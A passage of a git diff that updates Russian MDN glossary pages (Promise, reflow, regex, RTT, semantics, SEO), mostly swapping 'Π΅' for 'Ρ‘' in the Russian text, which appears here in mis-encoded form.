+<h2 id="ΠžΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ_ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ…_Ρ‚ΠΈΠΏΠΎΠ²_Π²_JavaScript">ΠžΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π² JavaScript</h2>
<p>Π—Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>null</code>Β ΠΈΒ <code>undefined</code>, всС ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡΒ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½Ρ‹ΠΉ Π°Π½Π°Π»ΠΎΠ³,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎΒ Ρ‚ΠΈΠΏΠ°:</p>
@@ -94,7 +94,7 @@ console.log(foo); // 5
<li>{{jsxref("Symbol")}} для Symbol ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π°.</li>
</ul>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf"><code>valueOf()</code></a>Β Ρ‚ΠΈΠΏΠ° ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈΒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf"><code>valueOf()</code></a>Β Ρ‚ΠΈΠΏΠ° ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈΒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°.</p>
<h2 id="Π‘ΠΌ._Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/glossary/promise/index.html b/files/ru/glossary/promise/index.html
index f3175a21c9..643f180604 100644
--- a/files/ru/glossary/promise/index.html
+++ b/files/ru/glossary/promise/index.html
@@ -7,7 +7,7 @@ tags:
translation_of: Glossary/Promise
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Promise
---
-<p>A <strong>{{jsxref("Promise")}}</strong> - это {{Glossary("Object")}},Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉΒ {{Glossary("function")}}, которая Π΅Ρ‰Π΅ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»Π° свою Ρ€Π°Π±ΠΎΡ‚Ρƒ. Promise Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ прСдставляСт собой 'ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅' Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΈΡ‚ΠΎΠ³Π΅ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ промиса.</p>
+<p>A <strong>{{jsxref("Promise")}}</strong> - это {{Glossary("Object")}},Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉΒ {{Glossary("function")}}, которая Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»Π° свою Ρ€Π°Π±ΠΎΡ‚Ρƒ. Promise Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ прСдставляСт собой 'ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅' Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΈΡ‚ΠΎΠ³Π΅ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ промиса.</p>
<p>Когда вызванная функция {{Glossary("asynchronous", "asynchronously")}} Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ, вызываСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° промиса, называСмая обработчиком Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΒ (ΠΈΠ»ΠΈ выполнСния, ΠΈΠ»ΠΈΒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ) Ρ‡Ρ‚ΠΎΠ±Ρ‹ исходный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π²Ρ‹Π·ΠΎΠ²Π° Π·Π½Π°Π», Ρ‡Ρ‚ΠΎ Π·Π°Π΄Π°Ρ‡Π° Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°</p>
diff --git a/files/ru/glossary/reflow/index.html b/files/ru/glossary/reflow/index.html
index 155463a80c..3626b5569f 100644
--- a/files/ru/glossary/reflow/index.html
+++ b/files/ru/glossary/reflow/index.html
@@ -1,10 +1,10 @@
---
-title: ΠŸΠ΅Ρ€Π΅ΡΡ‡Π΅Ρ‚ (Reflow)
+title: ΠŸΠ΅Ρ€Π΅ΡΡ‡Ρ‘Ρ‚ (Reflow)
slug: Glossary/Reflow
translation_of: Glossary/Reflow
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Reflow
---
-<p><strong>ΠŸΠ΅Ρ€Π΅ΡΡ‡Π΅Ρ‚</strong> (<em>Reflow</em>) происходит, ΠΊΠΎΠ³Π΄Π° {{glossary("Π±Ρ€Π°ΡƒΠ·Π΅Ρ€")}} <span class="tlid-translation translation" lang="ru"><span title="">Π΄ΠΎΠ»ΠΆΠ΅Π½ снова ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ ΠΈΠ»ΠΈ всю Π²Π΅Π±-страницу, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, послС измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π±Π»ΠΎΠΊΠ° ΠΈΠ»ΠΈ измСнСния Π΅Π³ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π½Π° ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ сайтС.</span></span></p>
+<p><strong>ΠŸΠ΅Ρ€Π΅ΡΡ‡Ρ‘Ρ‚</strong> (<em>Reflow</em>) происходит, ΠΊΠΎΠ³Π΄Π° {{glossary("Π±Ρ€Π°ΡƒΠ·Π΅Ρ€")}} <span class="tlid-translation translation" lang="ru"><span title="">Π΄ΠΎΠ»ΠΆΠ΅Π½ снова ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΈ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒ ΠΈΠ»ΠΈ всю Π²Π΅Π±-страницу, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, послС измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π±Π»ΠΎΠΊΠ° ΠΈΠ»ΠΈ измСнСния Π΅Π³ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π½Π° ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ сайтС.</span></span></p>
<h2 id="Learn_more">Learn more</h2>
diff --git a/files/ru/glossary/regular_expression/index.html b/files/ru/glossary/regular_expression/index.html
index 674f816436..21fc5da71d 100644
--- a/files/ru/glossary/regular_expression/index.html
+++ b/files/ru/glossary/regular_expression/index.html
@@ -8,7 +8,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Regular_expression
---
<p><strong>РСгулярныС выраТСния</strong> (<em>regex</em>) - это ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠ΅, ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ символов ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ Π² поискС.<br>
<br>
- РСгулярныС выраТСния Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π² Ρ€Π°Π·Π½Ρ‹Ρ… языках, Π½ΠΎ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ извСстной являСтся рСализация Π² Perl, которая ΠΏΠΎΡ€ΠΎΠ΄ΠΈΠ»Π° ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ экосистСму Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… PCRE (<em>Perl Compatible Regular Expression</em>). Π’ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ {{glossary("JavaScript")}} прСдоставляСт Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("RegExp")}}.</p>
+ РСгулярныС выраТСния Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π² Ρ€Π°Π·Π½Ρ‹Ρ… языках, Π½ΠΎ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ извСстной являСтся рСализация Π² Perl, которая ΠΏΠΎΡ€ΠΎΠ΄ΠΈΠ»Π° ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ экосистСму Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… PCRE (<em>Perl Compatible Regular Expression</em>). Π’ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ {{glossary("JavaScript")}} прСдоставляСт Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ рСгулярных Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{jsxref("RegExp")}}.</p>
<h2 id="ΠœΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹_для_изучСния">ΠœΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Ρ‹ для изучСния</h2>
diff --git a/files/ru/glossary/round_trip_time_(rtt)/index.html b/files/ru/glossary/round_trip_time_(rtt)/index.html
index 4bdd00fc4f..85376bd4fe 100644
--- a/files/ru/glossary/round_trip_time_(rtt)/index.html
+++ b/files/ru/glossary/round_trip_time_(rtt)/index.html
@@ -4,7 +4,7 @@ slug: Glossary/Round_Trip_Time_(RTT)
translation_of: Glossary/Round_Trip_Time_(RTT)
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Round_Trip_Time_(RTT)
---
-<p><strong>ВрСмя ΠΏΡ€ΠΈΠ΅ΠΌΠ°-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ</strong> (Π°Π½Π³Π». Round Trip Time, RTT) - это врСмя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ трСбуСтся для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΏΡƒΠ½ΠΊΡ‚ назначСния, плюс врСмя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ трСбуСтся для подтвСрТдСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ этот ΠΏΠ°ΠΊΠ΅Ρ‚ Π±Ρ‹Π» ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ. RTT ΠΌΠ΅ΠΆΠ΄Ρƒ ΡΠ΅Ρ‚ΡŒΡŽ ΠΈ сСрвСром ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ <code>ping</code>.</p>
+<p><strong>ВрСмя ΠΏΡ€ΠΈΡ‘ΠΌΠ°-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ</strong> (Π°Π½Π³Π». Round Trip Time, RTT) - это врСмя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ трСбуСтся для ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π° Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΏΡƒΠ½ΠΊΡ‚ назначСния, плюс врСмя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ трСбуСтся для подтвСрТдСния Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ этот ΠΏΠ°ΠΊΠ΅Ρ‚ Π±Ρ‹Π» ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ. RTT ΠΌΠ΅ΠΆΠ΄Ρƒ ΡΠ΅Ρ‚ΡŒΡŽ ΠΈ сСрвСром ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ <code>ping</code>.</p>
<div>
<pre class="brush: unix">$ ping google.com
@@ -18,7 +18,7 @@ PING google.com (216.58.194.174): 56 data bytes
5 packets transmitted, 5 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 23.781/26.828/34.904/4.114 ms</pre>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ срСднСС врСмя ΠΏΡ€ΠΈΠ΅ΠΌΠ°-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² послСднСй строкС, Ρ€Π°Π²Π½ΠΎ 26,8 мс.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ срСднСС врСмя ΠΏΡ€ΠΈΡ‘ΠΌΠ°-ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² послСднСй строкС, Ρ€Π°Π²Π½ΠΎ 26,8 мс.</p>
</div>
<h2 id="Π‘ΠΌ._Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/glossary/semantics/index.html b/files/ru/glossary/semantics/index.html
index f893f3f431..80e22bc782 100644
--- a/files/ru/glossary/semantics/index.html
+++ b/files/ru/glossary/semantics/index.html
@@ -4,7 +4,7 @@ slug: Glossary/Semantics
translation_of: Glossary/Semantics
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Semantics
---
-<p><span class="seoSummary">Π’ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ,Β <strong>Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ°</strong> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚Β <em>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</em> Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠ΄Π° - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ этой строки JavaScript?Β», ΠΈΠ»ΠΈ Β«ΠΊΠ°ΠΊΠΎΠ²ΠΎ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ какая Ρ€ΠΎΠ»ΡŒ Ρƒ этого элСмСнта HTMLΒ» (Π° Π½Π΅ Β«ΠΊΠ°ΠΊ ΠΎΠ½ выглядит ?Β».)</span></p>
+<p><span class="seoSummary">Π’ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ,Β <strong>Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ°</strong> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚Β <em>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</em> Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠ΄Π° - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β«ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ этой строки JavaScript?Β», ΠΈΠ»ΠΈ Β«ΠΊΠ°ΠΊΠΎΠ²ΠΎ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ какая Ρ€ΠΎΠ»ΡŒ Ρƒ этого элСмСнта HTMLΒ» (Π° Π½Π΅ Β«ΠΊΠ°ΠΊ ΠΎΠ½ выглядит ?Β».)</span></p>
<h2 id="Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ°_Π²_JavaScript">Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ° Π² JavaScript</h2>
@@ -16,11 +16,11 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Semantics
<h2 id="Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ°_Π²_HTML">Π‘Π΅ΠΌΠ°Π½Ρ‚ΠΈΠΊΠ° Π²Β HTML</h2>
-<p>Π’ HTML, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнт {{htmlelement("h1")}} являСтся сСмантичСским, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ тСксту Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ Ρ€ΠΎΠ»ΡŒ (ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅) "Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ уровня Π½Π° вашСй страницС".</p>
+<p>Π’ HTML, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнт {{htmlelement("h1")}} являСтся сСмантичСским, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ тСксту Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ Ρ€ΠΎΠ»ΡŒ (ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅) "Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ уровня Π½Π° вашСй страницС".</p>
<pre class="brush: html">&lt;h1&gt;This is a top level heading&lt;/h1&gt;</pre>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ,Β <a href="/en-US/docs/Web/CSS/Cascade#User-agent_stylesheets">стандартныС стили</a>Β Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π·Π°Π΄Π°Π΄ΡƒΡ‚ {{htmlelement("h1")}} большой Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ <em>выглядСл</em> ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ (хотя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ сочтСтС Π½ΡƒΠΆΠ½Ρ‹ΠΌ).</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ,Β <a href="/en-US/docs/Web/CSS/Cascade#User-agent_stylesheets">стандартныС стили</a>Β Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π·Π°Π΄Π°Π΄ΡƒΡ‚ {{htmlelement("h1")}} большой Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ <em>выглядСл</em> ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ (хотя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ сочтётС Π½ΡƒΠΆΠ½Ρ‹ΠΌ).</p>
<p>Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ любой элСмСнт <em>ΠΏΠΎΡ…ΠΎΠΆΠΈΠΌ</em>Β Π½Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ уровня. Рассмотрим ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
diff --git a/files/ru/glossary/seo/index.html b/files/ru/glossary/seo/index.html
index 0582a8fa1b..f44eedaffc 100644
--- a/files/ru/glossary/seo/index.html
+++ b/files/ru/glossary/seo/index.html
@@ -4,13 +4,13 @@ slug: Glossary/SEO
translation_of: Glossary/SEO
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/SEO
---
-<p><strong>SEO </strong>(Search Engine Optimization) Поисковая оптимизация - это комплСкс ΠΌΠ΅Ρ€ ΠΏΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, для поднятия сайта Π² Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³Π°Ρ… поисковых систСм. Π•Ρ‘ Π΅Ρ‰Π΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ "ΠŸΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ΠΌ поискового Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³Π°"Β </p>
+<p><strong>SEO </strong>(Search Engine Optimization) Поисковая оптимизация - это комплСкс ΠΌΠ΅Ρ€ ΠΏΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, для поднятия сайта Π² Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³Π°Ρ… поисковых систСм. Π•Ρ‘ Π΅Ρ‰Ρ‘ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ "ΠŸΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ΠΌ поискового Ρ€Π΅ΠΉΡ‚ΠΈΠ½Π³Π°"Β </p>
-<p>ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ систСмы ΠΈΡΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚, пСрСходят ΠΏΠΎ ссылкам со страницы Π½Π° страницу ΠΈ ΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΡƒΡŽΡ‚ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. Когда Π²Ρ‹ ΠΈΡ‰ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ Ρ‚ΠΎ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, поисковыС систСмы ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ индСксированный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.Β  Π‘ΠΊΠ°Π½Π½Π΅Ρ€Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°ΠΌΠΈ. Если Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π·Π½Π°Ρ‚ΡŒ ΠΈ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ  этим ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, ΠΊΠΎΠ³Π΄Π° внСдряСтС SEO для сайта, Ρƒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ сайта Π±ΡƒΠ΄ΡƒΡ‚ Π±ΠΎΠ»Π΅Π΅ высокиС ΡˆΠ°Π½ΡΡ‹ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π² числС ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² поискового запроса, Π° ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ - Π±ΠΎΠ»Π΅Π΅ высокий Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ΠΈ, ΠΊΠ°ΠΊ слСдствиС - Π΄ΠΎΡ…ΠΎΠ΄ (для ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄Π°ΠΆ ΠΈ Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹).</p>
